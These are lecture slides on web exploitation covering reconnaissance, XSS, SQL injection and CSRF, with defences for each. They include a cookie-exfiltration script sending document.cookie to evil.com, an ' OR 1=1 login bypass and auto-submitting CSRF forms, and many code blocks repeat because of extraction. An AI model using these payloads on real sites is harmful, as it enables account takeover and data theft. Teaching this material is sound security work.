Web exploitation:

Reconnaissance

Attack surfaces

Attack surface: all of the points in which an attacker might find a way to gain access a target's environment.

What is reconnaissance?

Case study: Equifax

When Equifax was breached in May 2017, it was using Apache Struts to run its website. Two months earlier, a critical vulnerability had been identified in Struts (CVE-2017-5638).

Case study: Equifax

Port scanning: nmap

A port scanner is a tool that scans the open ports of a machine and tries to figure out as much information as possible from those ports.

Nmap is a port scanning and network diagnostic tool that can show you information about a server, including its operating system, what services it's running, and more.

Port scanning: nmap

Example:

$ nmap -v -A scanme.nmap.org
...
PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
...
25/tcp    filtered smtp
80/tcp    open     http         Apache httpd 2.4.7 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Go ahead and ScanMe!
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ nmap -v -A scanme.nmap.org
...
PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
...
25/tcp    filtered smtp
80/tcp    open     http         Apache httpd 2.4.7 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Go ahead and ScanMe!
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ nmap -v -A scanme.nmap.org
...
PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
...
25/tcp    filtered smtp
80/tcp    open     http         Apache httpd 2.4.7 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Go ahead and ScanMe!
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ nmap -v -A scanme.nmap.org
...
PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
...
25/tcp    filtered smtp
80/tcp    open     http         Apache httpd 2.4.7 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Go ahead and ScanMe!
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ nmap -v -A scanme.nmap.org
...
PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
...
25/tcp    filtered smtp
80/tcp    open     http         Apache httpd 2.4.7 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Go ahead and ScanMe!
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Fuzzing and directory enumeration: ffuf

ffuf ("Fast Fuzzer U Fool") is a web fuzzing utility that can be used to discovering a web server's contents and explore its responses to requests.

Fuzzing and directory enumeration: ffuf

Example: find all directories and webpages prefixed by the URL

https://ffuf.io.fi

$ ffuf -c -w /path/to/wordlist \
    -u https://ffuf.me/FUZZ

• -c: colorize output
• -w: wordlist to use
• -u: URL to enumerate

Source: https://github.com/ffuf/ffuf

Open-source intelligence (OSINT)

Open-source intelligence, or OSINT, is information gathered from open and public resources, like websites and social media.

Example: Bellingcat's recent investigation into Maria Adela

OSINT challenge

OSINT challenge

Answer:

How does OSINT get used in practice?

From a cybersecurity perspective, OSINT is a useful tool for attackers to gather information about the defender and enable more human-oriented attacks.

Examples:

• Copying employee ID badges
• Phishing attacks

A very basic web page

<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h1>This is a heading</h1>
    <p>Hello, world!</p>
  </body>
  <script type="application/javascript">
    console.log("hello, world!");
  </script>
</html>
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h1>This is a heading</h1>
    <p>Hello, world!</p>
  </body>
  <script type="application/javascript">
    console.log("hello, world!");
  </script>
</html>
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h1>This is a heading</h1>
    <p>Hello, world!</p>
  </body>
  <script type="application/javascript">
    console.log("hello, world!");
  </script>
</html>
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h1>This is a heading</h1>
    <p>Hello, world!</p>
  </body>
  <script type="application/javascript">
    console.log("hello, world!");
  </script>
</html>
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h1>This is a heading</h1>
    <p>Hello, world!</p>
  </body>
  <script type="application/javascript">
    console.log("hello, world!");
  </script>
</html>
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h1>This is a heading</h1>
    <p>Hello, world!</p>
  </body>
  <script type="application/javascript">
    console.log("hello, world!");
  </script>
</html>

A very basic web page

<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h1>This is a heading</h1>
    <p>Hello, world!</p>
  </body>
  <script type="application/javascript">
    console.log("hello, world!");
  </script>
</html>

JavaScript

JavaScript is a programming language that drives client-side behavior on websites. Almost all websites that you visit use JavaScript in some way.

(Even these slides use JavaScript -- they were built with reveal.js!)

Cross-site scripting

Cross-site scripting (abbreviated XSS) is an attack in which malicious JavaScript is uploaded to a server and then injected into other users' browsers when they retrieve a page.

Attack #1: site redirection, defacement

<script>
  window.location = "https://evil.com";
</script>

Attack #2: cookie stealing

Another way that an attacker can leverage XSS is to try and exfiltrate users' cookies to an attacker-controlled server.

Recall that cookies are small amounts of data that a website can store in the browser, which are often used for authentication. With a copy of another user's cookies, you can log in as them.

Attack #2: cookie stealing

Attacker workflow:

• The attacker injects JavaScript that retrieves the document.cookie variable.

Attack #2: cookie stealing

<script>
  fetch("https://evil.com/?" + document.cookie)
      .then(() => console.log("Successfully exfiltrated cookies!"))
      .catch(err => console.log("Error: " + err));
</script>
<script>
  fetch("https://evil.com/?" + document.cookie)
      .then(() => console.log("Successfully exfiltrated cookies!"))
      .catch(err => console.log("Error: " + err));
</script>
<script>
  fetch("https://evil.com/?" + document.cookie)
      .then(() => console.log("Successfully exfiltrated cookies!"))
      .catch(err => console.log("Error: " + err));
</script>
<script>
  fetch("https://evil.com/?" + document.cookie)
      .then(() => console.log("Successfully exfiltrated cookies!"))
      .catch(err => console.log("Error: " + err));
</script>

Real-world XSS vulnerabilities

Fortnite: in 2019, an XSS was found in an old subdomain owned by Epic Games (the publishers of Fortnite).

If it had been exploited, it could have been used to gain access to a user's account by tricking them into clicking on a link to the vulnerable subdomain.

Examples

Defending against XSS

XSS attacks have become progressively less common over time as awareness of them has increased.

Defending against XSS

Defense: HTML encoding

HTML encoding is a means for encoding various characters that might otherwise be interpreted as part of the DOM (Document Object Model).

<script>
  alert();
</script>

<script>
  alert();
</script>

Defending against XSS

Defense: XSS sanitization

Sometimes you still want to allow users to use a "safe" subset of HTML. For those purposes, you can use an XSS sanitizer like DOMPurify.

// becomes <img src="x">
DOMPurify.sanitize('<img src=x onerror=alert(1)//>');

// becomes <svg><g></g></svg>
DOMPurify.sanitize('<svg><g/onload=alert(2)//<p>');

// becomes <p>abc</p>
DOMPurify.sanitize('<p>abc<iframe//src=jAva&Tab;script:alert(3)>def</p>');

SQL: Structured Query Language

SQL is a common domain-specific language for managing relational databases. Many databases use SQL at their core, including

• SQLite
• PostgreSQL
• MySQL
• MariaDB
• Microsoft SQL Server

$ sqlite3 users.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> CREATE TABLE users (
   ...>   username TEXT,
   ...>   passwd TEXT,
   ...>   created_at INTEGER
   ...> );

SQL: Structured Query Language

Here are some example statements for SQLite:

CREATE TABLE users (username TEXT, passwd TEXT, created_at INTEGER);

INSERT INTO users (username, passwd, created_at)
VALUES ('bob', 'password123', 1655483070);

SELECT * FROM users;

SQL: Structured Query Language

• Fetch the username and password for all rows that were created after Jan. 1, 2022 (corresponding to the timestamp 1641013200):

SELECT username, passwd FROM users
WHERE created_at >= 1641013200;

SELECT username, passwd FROM users
-- Filter by the time the users were created
WHERE created_at >= 1641013200; -- timestamp = Jan. 1, 2022

DROP TABLE users;

SQL injection

SQL injection (often abbreviated SQLi) occurs when a user is able to inject their own input into a SQL statement and make it do something it isn't supposed to.

SQLi: an example

import sqlite3
 
username = input("Enter username: ")
password = input("Enter password: ")
 
with sqlite3.connect("users.db") as con:
    query = (
        f"SELECT * FROM users WHERE username = '{username}' "
        f"AND passwd = '{password}'"
    )
    results = con.execute(query).fetchone()
 
    if results is None:
        print("Access denied :(")
    else:
        print("Access granted!")
import sqlite3
 
username = input("Enter username: ")
password = input("Enter password: ")
 
with sqlite3.connect("users.db") as con:
    query = (
        f"SELECT * FROM users WHERE username = '{username}' "
        f"AND passwd = '{password}'"
    )
    results = con.execute(query).fetchone()
 
    if results is None:
        print("Access denied :(")
    else:
        print("Access granted!")
import sqlite3
 
username = input("Enter username: ")
password = input("Enter password: ")
 
with sqlite3.connect("users.db") as con:
    query = (
        f"SELECT * FROM users WHERE username = '{username}' "
        f"AND passwd = '{password}'"
    )
    results = con.execute(query).fetchone()
 
    if results is None:
        print("Access denied :(")
    else:
        print("Access granted!")
import sqlite3
 
username = input("Enter username: ")
password = input("Enter password: ")
 
with sqlite3.connect("users.db") as con:
    query = (
        f"SELECT * FROM users WHERE username = '{username}' "
        f"AND passwd = '{password}'"
    )
    results = con.execute(query).fetchone()
 
    if results is None:
        print("Access denied :(")
    else:
        print("Access granted!")
import sqlite3
 
username = input("Enter username: ")
password = input("Enter password: ")
 
with sqlite3.connect("users.db") as con:
    query = (
        f"SELECT * FROM users WHERE username = '{username}' "
        f"AND passwd = '{password}'"
    )
    results = con.execute(query).fetchone()
 
    if results is None:
        print("Access denied :(")
    else:
        print("Access granted!")
import sqlite3
 
username = input("Enter username: ")
password = input("Enter password: ")
 
with sqlite3.connect("users.db") as con:
    query = (
        f"SELECT * FROM users WHERE username = '{username}' "
        f"AND passwd = '{password}'"
    )
    results = con.execute(query).fetchone()
 
    if results is None:
        print("Access denied :(")
    else:
        print("Access granted!")
import sqlite3
 
username = input("Enter username: ")
password = input("Enter password: ")
 
with sqlite3.connect("users.db") as con:
    query = (
        f"SELECT * FROM users WHERE username = '{username}' "
        f"AND passwd = '{password}'"
    )
    results = con.execute(query).fetchone()
 
    if results is None:
        print("Access denied :(")
    else:
        print("Access granted!")

SQLi: an example

Let's focus on these lines:

query = (
    f"SELECT * FROM users WHERE username = '{username}' "
    f"AND passwd = '{password}'"
)

Enter username: bob
Enter password: password123
Access granted!

SELECT * FROM users WHERE username = 'bob'
AND passwd = 'password123';

SQLi: an example

query = (
    f"SELECT * FROM users WHERE username = '{username}' "
    f"AND passwd = '{password}'"
)

Enter username: bob
Enter password: incorrect_password
Access denied :(

SELECT * FROM users WHERE username = 'bob'
AND passwd = 'incorrect_password';

SQLi: an example

query = (
    f"SELECT * FROM users WHERE username = '{username}' "
    f"AND passwd = '{password}'"
)

Enter username: bob
Enter password: ' OR 1=1; --
Access granted!
Enter username: bob
Enter password: ' OR 1=1; --
Access granted!
Enter username: bob
Enter password: ' OR 1=1; --
Access granted!

What happened?

query = (
    f"SELECT * FROM users WHERE username = '{username}' "
    f"AND passwd = '{password}'"
)

query = (
    f"SELECT * FROM users WHERE username = '{username}' "
    f"AND passwd = '' OR 1=1; --'"
)

SELECT * FROM users WHERE username = 'bob'
AND passwd = '' OR 1=1; --';

sqlmap

sqlmap is a command line tool that you can use to automatically identify SQL injections in websites.

Source: sqlmap.org

Defenses against SQLi

Libraries for interfacing with SQL (should) have a means of inserting user-supplied parameters and properly sanitizing them.

# Unsafe!!!
query = (
    f"SELECT * FROM users WHERE username = '{username}' "
    f"AND passwd = '{password}'"
)
results = con.execute(query)
 
# Safe
query = "SELECT * FROM users WHERE username = ? and passwd = ?"
results = con.execute(query, (username, password))
# Unsafe!!!
query = (
    f"SELECT * FROM users WHERE username = '{username}' "
    f"AND passwd = '{password}'"
)
results = con.execute(query)
 
# Safe
query = "SELECT * FROM users WHERE username = ? and passwd = ?"
results = con.execute(query, (username, password))

SQLi: conclusion

Source: XKCD

CSRF

Cross-Site Request Forgery (CSRF) occurs when visiting a site generates a request that triggers a change in another site.

Cross-site request forgery

Cross-site request forgery

HTML forms

This is a basic "user login" HTML form:

<form action="/login" method="POST">
  <input type="text" name="username">
  <input type="password" name="password">
  <input type="submit" name="login">
</form>
<form action="/login" method="POST">
  <input type="text" name="username">
  <input type="password" name="password">
  <input type="submit" name="login">
</form>
<form action="/login" method="POST">
  <input type="text" name="username">
  <input type="password" name="password">
  <input type="submit" name="login">
</form>
<form action="/login" method="POST">
  <input type="text" name="username">
  <input type="password" name="password">
  <input type="submit" name="login">
</form>
<form action="/login" method="POST">
  <input type="text" name="username">
  <input type="password" name="password">
  <input type="submit" name="login">
</form>
<form action="/login" method="POST">
  <input type="text" name="username">
  <input type="password" name="password">
  <input type="submit" name="login">
</form>

action="/login": URL to send data to

method="POST": type of HTTP request to make (POST request)

<input> elements: key-value pairs that get sent alongside the POST request.

submit input element: triggers the POST request

CSRF example

Suppose that www.example.com implemented user logout by simply having users make a POST request to the /logout URL.

<form action="/logout" method="POST">
  <input type="submit" name="logout" value="Logout">
</form>

CSRF example

<form id="evil-form" action="http://www.example.com/logout" method="POST">
  <input type="submit" name="logout" value="Logout">
</form>
 
<script>
  document.getElementById("evil-form").submit();
</script>
<form id="evil-form" action="http://www.example.com/logout" method="POST">
  <input type="submit" name="logout" value="Logout">
</form>
 
<script>
  document.getElementById("evil-form").submit();
</script>
<form id="evil-form" action="http://www.example.com/logout" method="POST">
  <input type="submit" name="logout" value="Logout">
</form>
 
<script>
  document.getElementById("evil-form").submit();
</script>

CSRF example

<form id="evil-form" action="http://www.bank.com/transfer" method="POST">
  <input type="text" name="to" value="Alice">
  <input type="text" name="amount" value="200">
  <input type="submit" value="submit">
</form>

<script>
  document.getElementById("evil-form").submit();
</script>

Defenses: CSRF tokens

<form action="/logout" method="POST">
  <input type="hidden" name="csrftoken" value="1qWCsmE5T3nY55plgtm3EwarasJkVOJm">
  <input type="submit" name="logout" value="Logout">
</form>
<form action="/logout" method="POST">
  <input type="hidden" name="csrftoken" value="1qWCsmE5T3nY55plgtm3EwarasJkVOJm">
  <input type="submit" name="logout" value="Logout">
</form>

Defenses: CSRF tokens

Without a CSRF token:

Defenses: CSRF tokens

With a CSRF token:

Demo: TickTock

cd $(mktemp -d)
URL="https://www.cs.virginia.edu/~wss2ec/courses/cs3710"
URL="$URL/examples/web/csrf_ticktock_example.html"

wget "$URL" -O index.html

# Starts a web server on localhost:8000, which you can then visit
# in your browser
python3 -m http.server

(Will only work through the Lab 2 environment in VCR.)

Real-world examples

In 2020, TikTok had a CSRF vulnerability that, when combined with a reflected XSS vulnerability, could result in a "one-click" account takeover.

• HackerOne bug report
• ZDNet article

Conclusion

An attacker who can trick a victim into visiting a website that they control can manipulate the victim's browser into making a request to a website vulnerable to CSRF.

Depending on the severity of the CSRF, this can allow an attacker to perform various actions on that website as if they were the victim.